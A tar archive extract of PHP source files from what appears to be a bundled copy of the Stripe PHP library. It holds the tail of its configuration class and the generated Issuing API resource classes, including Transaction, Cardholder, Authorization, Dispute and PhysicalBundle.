$appUrl The application's URL * @param null|string $appPartnerId The application's partner ID */ public static function setAppInfo($appName, $appVersion = null, $appUrl = null, $appPartnerId = null) { self::$appInfo = self::$appInfo ?: []; self::$appInfo['name'] = $appName; self::$appInfo['partner_id'] = $appPartnerId; self::$appInfo['url'] = $appUrl; self::$appInfo['version'] = $appVersion; } /** * @return int Maximum number of request retries */ public static function getMaxNetworkRetries() { return self::$maxNetworkRetries; } /** * @param int $maxNetworkRetries Maximum number of request retries */ public static function setMaxNetworkRetries($maxNetworkRetries) { self::$maxNetworkRetries = $maxNetworkRetries; } /** * @return float Maximum delay between retries, in seconds */ public static function getMaxNetworkRetryDelay() { return self::$maxNetworkRetryDelay; } /** * @return float Maximum delay between retries, in seconds, that will be respected from the Stripe API */ public static function getMaxRetryAfter() { return self::$maxRetryAfter; } /** * @return float Initial delay between retries, in seconds */ public static function getInitialNetworkRetryDelay() { return self::$initialNetworkRetryDelay; } /** * @return bool Whether client telemetry is enabled */ public static function getEnableTelemetry() { return self::$enableTelemetry; } /** * @param bool $enableTelemetry Enables client telemetry. * * Client telemetry enables timing and request metrics to be sent back to Stripe as an HTTP Header * with the current request. This enables Stripe to do latency and metrics analysis without adding extra * overhead (such as extra network calls) on the client. */ public static function setEnableTelemetry($enableTelemetry) { self::$enableTelemetry = $enableTelemetry; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Transaction.php����������������������������������������������������������0000644�����������������00000014330�14720677707�0014720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * Any use of an <a href="https://stripe.com/docs/issuing">issued card</a> that results in funds entering or leaving * your Stripe account, such as a completed purchase or refund, is represented by an Issuing * <code>Transaction</code> object. * * Related guide: <a href="https://stripe.com/docs/issuing/purchases/transactions">Issued card transactions</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The transaction amount, which will be reflected in your balance. This amount is in your currency and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property null|\Stripe\StripeObject $amount_details Detailed breakdown of amount components. These amounts are denominated in <code>currency</code> and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property null|string|\Stripe\Issuing\Authorization $authorization The <code>Authorization</code> object that led to this transaction. * @property null|string|\Stripe\BalanceTransaction $balance_transaction ID of the <a href="https://stripe.com/docs/api/balance_transactions">balance transaction</a> associated with this transaction. * @property string|\Stripe\Issuing\Card $card The card used to make this transaction. * @property null|string|\Stripe\Issuing\Cardholder $cardholder The cardholder to whom this transaction belongs. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string|\Stripe\Issuing\Dispute $dispute If you've disputed the transaction, the ID of the dispute. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $merchant_amount The amount that the merchant will receive, denominated in <code>merchant_currency</code> and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. It will be different from <code>amount</code> if the merchant is taking payment in a different currency. * @property string $merchant_currency The currency with which the merchant is taking payment. * @property \Stripe\StripeObject $merchant_data * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $network_data Details about the transaction, such as processing dates, set by the card network. * @property null|\Stripe\StripeObject $purchase_details Additional purchase information that is optionally provided by the merchant. * @property null|string|\Stripe\Issuing\Token $token <a href="https://stripe.com/docs/api/issuing/tokens/object">Token</a> object used for this transaction. If a network token was not used for this transaction, this field will be null. * @property null|\Stripe\StripeObject $treasury <a href="https://stripe.com/docs/api/treasury">Treasury</a> details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts * @property string $type The nature of the transaction. * @property null|string $wallet The digital wallet used for this transaction. One of <code>apple_pay</code>, <code>google_pay</code>, or <code>samsung_pay</code>. */ class Transaction extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.transaction'; use \Stripe\ApiOperations\Update; const TYPE_CAPTURE = 'capture'; const TYPE_REFUND = 'refund'; const WALLET_APPLE_PAY = 'apple_pay'; const WALLET_GOOGLE_PAY = 'google_pay'; const WALLET_SAMSUNG_PAY = 'samsung_pay'; /** * Returns a list of Issuing <code>Transaction</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Transaction> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Transaction</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified Issuing <code>Transaction</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Cardholder.php�����������������������������������������������������������0000644�����������������00000013373�14720677707�0014510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * An Issuing <code>Cardholder</code> object represents an individual or business entity who is <a href="https://stripe.com/docs/issuing">issued</a> cards. * * Related guide: <a href="https://stripe.com/docs/issuing/cards#create-cardholder">How to create a cardholder</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $billing * @property null|\Stripe\StripeObject $company Additional information about a <code>company</code> cardholder. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $email The cardholder's email address. * @property null|\Stripe\StripeObject $individual Additional information about an <code>individual</code> cardholder. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $name The cardholder's name. This will be printed on cards issued to them. * @property null|string $phone_number The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the <a href="https://stripe.com/docs/issuing/3d-secure#when-is-3d-secure-applied">3D Secure documentation</a> for more details. * @property null|string[] $preferred_locales The cardholder’s preferred locales (languages), ordered by preference. Locales can be <code>de</code>, <code>en</code>, <code>es</code>, <code>fr</code>, or <code>it</code>. This changes the language of the <a href="https://stripe.com/docs/issuing/3d-secure">3D Secure flow</a> and one-time password messages sent to the cardholder. * @property \Stripe\StripeObject $requirements * @property null|\Stripe\StripeObject $spending_controls Rules that control spending across this cardholder's cards. Refer to our <a href="https://stripe.com/docs/issuing/controls/spending-controls">documentation</a> for more details. * @property string $status Specifies whether to permit authorizations on this cardholder's cards. * @property string $type One of <code>individual</code> or <code>company</code>. See <a href="https://stripe.com/docs/issuing/other/choose-cardholder">Choose a cardholder type</a> for more details. */ class Cardholder extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.cardholder'; use \Stripe\ApiOperations\Update; const STATUS_ACTIVE = 'active'; const STATUS_BLOCKED = 'blocked'; const STATUS_INACTIVE = 'inactive'; const TYPE_COMPANY = 'company'; const TYPE_INDIVIDUAL = 'individual'; /** * Creates a new Issuing <code>Cardholder</code> object that can be issued cards. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Issuing <code>Cardholder</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Cardholder> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Cardholder</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified Issuing <code>Cardholder</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Cardholder the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/PersonalizationDesign.php������������������������������������������������0000644�����������������00000011266�14720677707�0016753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * A Personalization Design is a logical grouping of a Physical Bundle, card logo, and carrier text that represents a product line. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\File $card_logo The file for the card logo to use with physical bundles that support card logos. Must have a <code>purpose</code> value of <code>issuing_logo</code>. * @property null|\Stripe\StripeObject $carrier_text Hash containing carrier text, for use with physical bundles that support carrier text. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $lookup_key A lookup key used to retrieve personalization designs dynamically from a static string. This may be up to 200 characters. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $name Friendly display name. * @property string|\Stripe\Issuing\PhysicalBundle $physical_bundle The physical bundle object belonging to this personalization design. * @property \Stripe\StripeObject $preferences * @property \Stripe\StripeObject $rejection_reasons * @property string $status Whether this personalization design can be used to create cards. */ class PersonalizationDesign extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.personalization_design'; use \Stripe\ApiOperations\Update; const STATUS_ACTIVE = 'active'; const STATUS_INACTIVE = 'inactive'; const STATUS_REJECTED = 'rejected'; const STATUS_REVIEW = 'review'; /** * Creates a personalization design object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of personalization design objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\PersonalizationDesign> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a personalization design object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a card personalization object. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Authorization.php��������������������������������������������������������0000644�����������������00000022426�14720677707�0015300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * When an <a href="https://stripe.com/docs/issuing">issued card</a> is used to make a purchase, an Issuing <code>Authorization</code> * object is created. <a href="https://stripe.com/docs/issuing/purchases/authorizations">Authorizations</a> must be approved for the * purchase to be completed successfully. * * Related guide: <a href="https://stripe.com/docs/issuing/purchases/authorizations">Issued card authorizations</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The total amount that was authorized or rejected. This amount is in <code>currency</code> and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. <code>amount</code> should be the same as <code>merchant_amount</code>, unless <code>currency</code> and <code>merchant_currency</code> are different. * @property null|\Stripe\StripeObject $amount_details Detailed breakdown of amount components. These amounts are denominated in <code>currency</code> and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property bool $approved Whether the authorization has been approved. * @property string $authorization_method How the card details were provided. * @property \Stripe\BalanceTransaction[] $balance_transactions List of balance transactions associated with this authorization. * @property \Stripe\Issuing\Card $card You can <a href="https://stripe.com/docs/issuing/cards">create physical or virtual cards</a> that are issued to cardholders. * @property null|string|\Stripe\Issuing\Cardholder $cardholder The cardholder to whom this authorization belongs. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency The currency of the cardholder. This currency can be different from the currency presented at authorization and the <code>merchant_currency</code> field on this authorization. Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $fleet Fleet-specific information for authorizations using Fleet cards. * @property null|\Stripe\StripeObject $fuel Information about fuel that was purchased with this transaction. Typically this information is received from the merchant after the authorization has been approved and the fuel dispensed. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $merchant_amount The total amount that was authorized or rejected. This amount is in the <code>merchant_currency</code> and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. <code>merchant_amount</code> should be the same as <code>amount</code>, unless <code>merchant_currency</code> and <code>currency</code> are different. * @property string $merchant_currency The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the <code>currency</code> field on this authorization. Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property \Stripe\StripeObject $merchant_data * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $network_data Details about the authorization, such as identifiers, set by the card network. * @property null|\Stripe\StripeObject $pending_request The pending authorization request. This field will only be non-null during an <code>issuing_authorization.request</code> webhook. * @property \Stripe\StripeObject[] $request_history History of every time a <code>pending_request</code> authorization was approved/declined, either by you directly or by Stripe (e.g. based on your spending_controls). If the merchant changes the authorization by performing an incremental authorization, you can look at this field to see the previous requests for the authorization. This field can be helpful in determining why a given authorization was approved/declined. * @property string $status The current status of the authorization in its lifecycle. * @property null|string|\Stripe\Issuing\Token $token <a href="https://stripe.com/docs/api/issuing/tokens/object">Token</a> object used for this authorization. If a network token was not used for this authorization, this field will be null. * @property \Stripe\Issuing\Transaction[] $transactions List of <a href="https://stripe.com/docs/api/issuing/transactions">transactions</a> associated with this authorization. * @property null|\Stripe\StripeObject $treasury <a href="https://stripe.com/docs/api/treasury">Treasury</a> details related to this authorization if it was created on a <a href="https://stripe.com/docs/api/treasury/financial_accounts">FinancialAccount</a>. * @property \Stripe\StripeObject $verification_data * @property null|string $wallet The digital wallet used for this transaction. One of <code>apple_pay</code>, <code>google_pay</code>, or <code>samsung_pay</code>. Will populate as <code>null</code> when no digital wallet was utilized. */ class Authorization extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.authorization'; use \Stripe\ApiOperations\Update; const AUTHORIZATION_METHOD_CHIP = 'chip'; const AUTHORIZATION_METHOD_CONTACTLESS = 'contactless'; const AUTHORIZATION_METHOD_KEYED_IN = 'keyed_in'; const AUTHORIZATION_METHOD_ONLINE = 'online'; const AUTHORIZATION_METHOD_SWIPE = 'swipe'; const STATUS_CLOSED = 'closed'; const STATUS_PENDING = 'pending'; const STATUS_REVERSED = 'reversed'; /** * Returns a list of Issuing <code>Authorization</code> objects. The objects are * sorted in descending order by creation date, with the most recently created * object appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Authorization> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Authorization</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified Issuing <code>Authorization</code> object by setting the * values of the parameters passed. Any parameters not provided will be left * unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization the approved authorization */ public function approve($params = null, $opts = null) { $url = $this->instanceUrl() . '/approve'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization the declined authorization */ public function decline($params = null, $opts = null) { $url = $this->instanceUrl() . '/decline'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Dispute.php��������������������������������������������������������������0000644�����������������00000017515�14720677707�0014060 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * As a <a href="https://stripe.com/docs/issuing">card issuer</a>, you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with. * * Related guide: <a href="https://stripe.com/docs/issuing/purchases/disputes">Issuing disputes</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Disputed amount in the card's currency and in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. Usually the amount of the <code>transaction</code>, but can differ (usually because of currency fluctuation). * @property null|\Stripe\BalanceTransaction[] $balance_transactions List of balance transactions associated with the dispute. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency The currency the <code>transaction</code> was made in. * @property \Stripe\StripeObject $evidence * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $loss_reason The enum that describes the dispute loss outcome. If the dispute is not lost, this field will be absent. New enum values may be added in the future, so be sure to handle unknown values. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $status Current status of the dispute. * @property string|\Stripe\Issuing\Transaction $transaction The transaction being disputed. * @property null|\Stripe\StripeObject $treasury <a href="https://stripe.com/docs/api/treasury">Treasury</a> details related to this dispute if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts */ class Dispute extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.dispute'; use \Stripe\ApiOperations\Update; const LOSS_REASON_CARDHOLDER_AUTHENTICATION_ISSUER_LIABILITY = 'cardholder_authentication_issuer_liability'; const LOSS_REASON_ECI5_TOKEN_TRANSACTION_WITH_TAVV = 'eci5_token_transaction_with_tavv'; const LOSS_REASON_EXCESS_DISPUTES_IN_TIMEFRAME = 'excess_disputes_in_timeframe'; const LOSS_REASON_HAS_NOT_MET_THE_MINIMUM_DISPUTE_AMOUNT_REQUIREMENTS = 'has_not_met_the_minimum_dispute_amount_requirements'; const LOSS_REASON_INVALID_DUPLICATE_DISPUTE = 'invalid_duplicate_dispute'; const LOSS_REASON_INVALID_INCORRECT_AMOUNT_DISPUTE = 'invalid_incorrect_amount_dispute'; const LOSS_REASON_INVALID_NO_AUTHORIZATION = 'invalid_no_authorization'; const LOSS_REASON_INVALID_USE_OF_DISPUTES = 'invalid_use_of_disputes'; const LOSS_REASON_MERCHANDISE_DELIVERED_OR_SHIPPED = 'merchandise_delivered_or_shipped'; const LOSS_REASON_MERCHANDISE_OR_SERVICE_AS_DESCRIBED = 'merchandise_or_service_as_described'; const LOSS_REASON_NOT_CANCELLED = 'not_cancelled'; const LOSS_REASON_OTHER = 'other'; const LOSS_REASON_REFUND_ISSUED = 'refund_issued'; const LOSS_REASON_SUBMITTED_BEYOND_ALLOWABLE_TIME_LIMIT = 'submitted_beyond_allowable_time_limit'; const LOSS_REASON_TRANSACTION_3DS_REQUIRED = 'transaction_3ds_required'; const LOSS_REASON_TRANSACTION_APPROVED_AFTER_PRIOR_FRAUD_DISPUTE = 'transaction_approved_after_prior_fraud_dispute'; const LOSS_REASON_TRANSACTION_AUTHORIZED = 'transaction_authorized'; const LOSS_REASON_TRANSACTION_ELECTRONICALLY_READ = 'transaction_electronically_read'; const LOSS_REASON_TRANSACTION_QUALIFIES_FOR_VISA_EASY_PAYMENT_SERVICE = 'transaction_qualifies_for_visa_easy_payment_service'; const LOSS_REASON_TRANSACTION_UNATTENDED = 'transaction_unattended'; const STATUS_EXPIRED = 'expired'; const STATUS_LOST = 'lost'; const STATUS_SUBMITTED = 'submitted'; const STATUS_UNSUBMITTED = 'unsubmitted'; const STATUS_WON = 'won'; /** * Creates an Issuing <code>Dispute</code> object. Individual pieces of evidence * within the <code>evidence</code> object are optional at this point. Stripe only * validates that required evidence is present during submission. Refer to <a * href="/docs/issuing/purchases/disputes#dispute-reasons-and-evidence">Dispute * reasons and evidence</a> for more details about evidence requirements. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Issuing <code>Dispute</code> objects. The objects are sorted * in descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Dispute> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Dispute</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified Issuing <code>Dispute</code> object by setting the values * of the parameters passed. Any parameters not provided will be left unchanged. * Properties on the <code>evidence</code> object can be unset by passing in an * empty string. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Dispute the submited dispute */ public function submit($params = null, $opts = null) { $url = $this->instanceUrl() . '/submit'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/PhysicalBundle.php�������������������������������������������������������0000644�����������������00000004511�14720677707�0015341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * A Physical Bundle represents the bundle of physical items - card stock, carrier letter, and envelope - that is shipped to a cardholder when you create a physical card. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $features * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $name Friendly display name. * @property string $status Whether this physical bundle can be used to create cards. * @property string $type Whether this physical bundle is a standard Stripe offering or custom-made for you. */ class PhysicalBundle extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.physical_bundle'; const STATUS_ACTIVE = 'active'; const STATUS_INACTIVE = 'inactive'; const STATUS_REVIEW = 'review'; const TYPE_CUSTOM = 'custom'; const TYPE_STANDARD = 'standard'; /** * Returns a list of physical bundle objects. The objects are sorted in descending * order by creation date, with the most recently created object appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\PhysicalBundle> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a physical bundle object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PhysicalBundle */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Token.php����������������������������������������������������������������0000644�����������������00000007554�14720677707�0013525 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * An issuing token object is created when an issued card is added to a digital wallet. As a <a href="https://stripe.com/docs/issuing">card issuer</a>, you can <a href="https://stripe.com/docs/issuing/controls/token-management">view and manage these tokens</a> through Stripe. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string|\Stripe\Issuing\Card $card Card associated with this token. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $device_fingerprint The hashed ID derived from the device ID from the card network associated with the token. * @property null|string $last4 The last four digits of the token. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $network The token service provider / card network associated with the token. * @property null|\Stripe\StripeObject $network_data * @property int $network_updated_at Time at which the token was last updated by the card network. Measured in seconds since the Unix epoch. * @property string $status The usage state of the token. * @property null|string $wallet_provider The digital wallet for this token, if one was used. */ class Token extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.token'; use 